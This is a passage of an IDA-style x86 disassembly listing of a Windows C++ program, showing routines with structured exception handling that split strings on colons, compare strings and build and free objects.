		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F40
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F40
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C7C ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
